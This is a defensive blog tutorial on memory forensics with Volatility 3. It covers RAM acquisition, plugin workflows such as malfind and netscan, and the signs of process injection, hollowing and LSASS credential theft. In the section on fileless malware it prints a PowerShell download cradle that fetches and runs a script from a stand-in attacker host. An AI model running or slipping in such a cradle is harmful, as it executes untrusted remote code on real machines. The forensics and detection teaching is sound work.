Memory Forensics with Volatility 3: What Attackers Leave Behind

The malware left no files on disk. The antivirus found nothing. The EDR had no alerts. Yet the attacker had full access for three weeks — running entirely inside the memory of a trusted Windows process.

This is the fileless malware reality of 2026. Process injection attacks increased 78% from 2024 to 2026, and according to the Picus Red Report 2026, T1055 (Process Injection) appears in 80% of the top 10 most-used malware techniques across 1.1 million analyzed samples. If you can’t read RAM, you can’t find these attackers.

TL;DR

• Fileless malware lives entirely in RAM — no disk artifacts, no file hashes, no AV signatures
• Volatility 3 is the standard open-source tool for memory dump analysis across Windows, Linux, and macOS
• Key plugins: malfind (injected code), pslist/pstree (process anomalies), netscan (hidden connections), cmdline (what ran)
• Process hollowing and reflective DLL injection are the most common evasion techniques in 2026
• A memory dump taken during an incident captures everything AV and EDR missed

Why This Matters

Think of RAM as your computer’s short-term working memory — everything actively running is there. When an attacker injects malicious code into a trusted process like svchost.exe or explorer.exe, that code runs under the cover of a legitimate process name. On disk, nothing suspicious exists. In RAM, the evidence is hiding in plain sight.

54% of organizations report difficulty detecting attacks that exploit built-in OS tools this way. Memory forensics is often the only method that catches what everything else misses — and it matters to both sides of the table. Pentesters use these techniques to understand what their implants leave behind; SOC analysts use them to find what EDR didn’t catch.

What Attackers Put in Memory

Before touching Volatility, it helps to understand what you’re hunting for.

Process Injection (T1055)

The attacker’s most common technique: inject shellcode or a DLL into a legitimate process. The malicious code runs under svchost.exe, explorer.exe, or even lsass.exe. Windows sees a normal process. The attacker has a working backdoor.

Common injection methods:

• Classic DLL injection — WriteProcessMemory + CreateRemoteThread
• Reflective DLL injection — the DLL loads itself from memory without touching disk (Cobalt Strike’s default)
• Process Hollowing — spawn a legitimate process suspended, hollow out its code, replace with malicious payload, resume

Fileless Malware via PowerShell / WMI

Attackers download and execute payloads entirely in memory using PowerShell:

# Classic fileless cradle — downloads and executes in memory, nothing touches disk
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')

The script never writes to disk. After execution, the only evidence is in RAM and Windows event logs.

Credential Theft from LSASS

lsass.exe — the Local Security Authority Subsystem — holds credentials of every logged-in user in memory. Tools like Mimikatz read directly from the LSASS process to harvest plaintext passwords and NTLM hashes. See the LSASS dumping techniques article for the full attacker workflow.

Step 1: Acquiring the Memory Dump

You can’t analyze RAM you don’t have. During incident response, capturing memory is the first priority — before rebooting, before running cleanup tools.

Windows — WinPmem

# Download WinPmem and dump RAM to a file
winpmem_mini_x64.exe memory.dmp

WinPmem is open-source, free, and leaves minimal footprint. The resulting .dmp file contains the full contents of physical RAM.

Linux — LiME (Linux Memory Extractor)

# Load LiME kernel module and dump to file
sudo insmod lime.ko "path=/tmp/memory.lime format=lime"

When You Can’t Run Tools

If the system is already seized or you’re working from a snapshot:

• VMware/Hyper-V — suspend the VM; .vmem or .bin files contain RAM
• Windows crash dumps — C:\Windows\MEMORY.DMP if configured for full memory dump
• Cloud instances — take a VM snapshot before termination; most providers support RAM-inclusive snapshots

Step 2: Volatility 3 — Your Analysis Toolkit

Volatility 3 is the industry standard open-source memory forensics framework. It runs on Python 3, supports Windows/Linux/macOS dumps, and uses symbol tables (debug information) to accurately parse memory structures rather than guessing offsets.

Install it:

git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
pip3 install -r requirements.txt

All commands follow the pattern:

python3 vol.py -f memory.dmp <plugin>

Step 3: The Analysis Workflow

Work through these plugins in order — each one builds context for the next.

1. Identify Running Processes

# Flat process list — what's running?
python3 vol.py -f memory.dmp windows.pslist

# Tree view — who spawned what? (parent-child relationships)
python3 vol.py -f memory.dmp windows.pstree

What to look for:

• cmd.exe or powershell.exe spawned by an unusual parent (e.g., word.exe spawning powershell.exe = macro execution)
• Processes with suspicious names that mimic legitimate ones: svch0st.exe, explore.exe, lsas.exe
• Multiple instances of processes that should only run once (lsass.exe should appear exactly once)
• Processes running from unusual paths (C:\Users\Public\svchost.exe instead of C:\Windows\System32\)

2. Extract Command Lines

# What arguments were passed to each process?
python3 vol.py -f memory.dmp windows.cmdline

What to look for:

• PowerShell with -EncodedCommand, -WindowStyle Hidden, -ExecutionPolicy Bypass
• Long base64 strings in command-line arguments (encoded payloads)
• wscript.exe or cscript.exe running unusual scripts

# Example suspicious finding:
# powershell.exe  -NonI -W Hidden -EncodedCommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdA...

That base64 block almost certainly decodes to a download cradle or shellcode loader.

3. Scan for Injected Code — malfind

This is the most powerful plugin for finding fileless malware:

# Find memory regions that are executable, writable, and not backed by a file on disk
python3 vol.py -f memory.dmp windows.malfind

Malfind flags memory pages with PAGE_EXECUTE_READWRITE protection — a combination that legitimate software almost never uses, but that shellcode requires to write and execute itself.

What a Cobalt Strike beacon looks like in malfind output:

PID: 1234  Process: svchost.exe
Start VPN: 0x1c0000  End VPN: 0x1dffff
Protection: PAGE_EXECUTE_READWRITE

4d 5a 90 00 03 00 00 00  MZ......

The MZ header at the start of an EXECUTE_READWRITE region inside svchost.exe means: a PE file (executable) was injected directly into memory of this process. That’s not normal. That’s your beacon.

4. Check Network Connections

# List active and recently closed network connections
python3 vol.py -f memory.dmp windows.netscan

What to look for:

• Established connections to unusual IPs on ports 80/443 from processes that shouldn’t have internet access (lsass.exe, spoolsv.exe)
• Connections to IPs in foreign countries that don’t match the organization’s profile
• Listening ports opened by injected processes

Cross-reference suspicious IPs against threat intelligence feeds immediately.

5. List DLLs Loaded by Each Process

# What DLLs does a specific process have loaded?
python3 vol.py -f memory.dmp windows.dlllist --pid 1234

What to look for:

• DLLs loaded from unusual paths (temp folders, user profile directories)
• DLLs with no path (loaded reflectively — never touched disk)
• Known malicious DLL names (Cobalt Strike artifacts, Meterpreter stages)

6. Detect Process Hollowing

Process hollowing is when an attacker spawns a legitimate process suspended, replaces its code with a malicious payload, then resumes it. The process name looks legitimate; the code running inside it isn’t.

# Find discrepancies between what's in the PEB (process metadata) and what's actually in memory
python3 vol.py -f memory.dmp windows.malfind --pid <suspicious_pid>

# Also check if the process image on disk matches what's in memory
python3 vol.py -f memory.dmp windows.dumpfiles --pid <suspicious_pid>

The giveaway: the PEB claims the process is svchost.exe and points to C:\Windows\System32\svchost.exe, but the actual code in memory doesn’t match that file. The VAD (Virtual Address Descriptor) entry shows the executable section as anonymous (not file-backed).

7. Extract Files and Artifacts

# Extract files that were open or loaded into memory
python3 vol.py -f memory.dmp windows.dumpfiles

# Dump a specific process's memory for further analysis
python3 vol.py -f memory.dmp windows.memmap --pid 1234 --dump

Submit extracted artifacts to a sandbox (Any.run, Hybrid Analysis) or run through strings to find embedded URLs, C2 addresses, and encryption keys.

Attacker Artifacts Quick Reference

Linux Memory Forensics

Volatility 3 also handles Linux dumps with the same workflow, using Linux-specific plugins:

# List Linux processes
python3 vol.py -f memory.lime linux.pslist

# Check network connections
python3 vol.py -f memory.lime linux.netstat

# Find injected code in Linux processes
python3 vol.py -f memory.lime linux.malfind

On Linux, watch for:

• Processes with deleted executable paths (/proc/<pid>/exe points to a deleted file — classic fileless)
• Unusual LD_PRELOAD entries (library injection)
• Processes with no associated binary on disk

What You Can Do Today

1. Install Volatility 3 now, before you need it. Fumbling with setup during an incident costs critical time. Practice on a clean VM dump first.
2. Configure full memory dumps on Windows — System Properties → Advanced → Startup and Recovery → Complete memory dump. Without this, Windows only saves a minidump (useless for forensics).
3. Add memory acquisition to your IR playbook — memory dump is step one, before any remediation.
4. Know your baseline — run pslist and netscan on a clean reference machine. You’ll recognize anomalies much faster when you know what normal looks like.
5. Use malfind as a quick triage step — on a suspected compromised host, malfind output in 60 seconds tells you more than an hour of disk forensics.
6. Cross-reference with EDR — if malfind finds injected code in a PID that your EDR never flagged, that’s a detection gap worth investigating.

Related Posts

• DFIR: Incident Response Complete Guide 2026 — the full IR workflow where memory forensics fits
• LSASS Dumping Techniques — what attackers extract from LSASS and how defenders detect it
• Rapid Compromise Triage: Linux and Windows — fast triage methodology when you need answers in minutes
• BYOVD: Bring Your Own Vulnerable Driver Attacks — kernel-level attacks that disable the memory protections Volatility relies on
• LolBins: Living off the Land on Windows 2026 — the legitimate tools that fileless malware abuses

Sources

• Memory Forensics with Volatility: Detecting Fileless Malware and Living off the Land Attacks — Purple Security
• Volatility 3 Documentation — volatility3.readthedocs.io
• Fileless Malware Attacks: 2026 Detection Guide — Offenso Academy
• Modern Memory Forensics with Volatility 3 — DFRWS Workshop
• HollowFind: Process Hollowing Detection Plugin — GitHub
• Memory Forensics Using Volatility for Detecting Fileless Malware — IEEE Xplore 2026
• Using Volatility for Advanced Memory Forensics — Pen Test Partners
• The DFIR Report — Real Intrusion Case Studies
• MITRE ATT&CK — T1055 Process Injection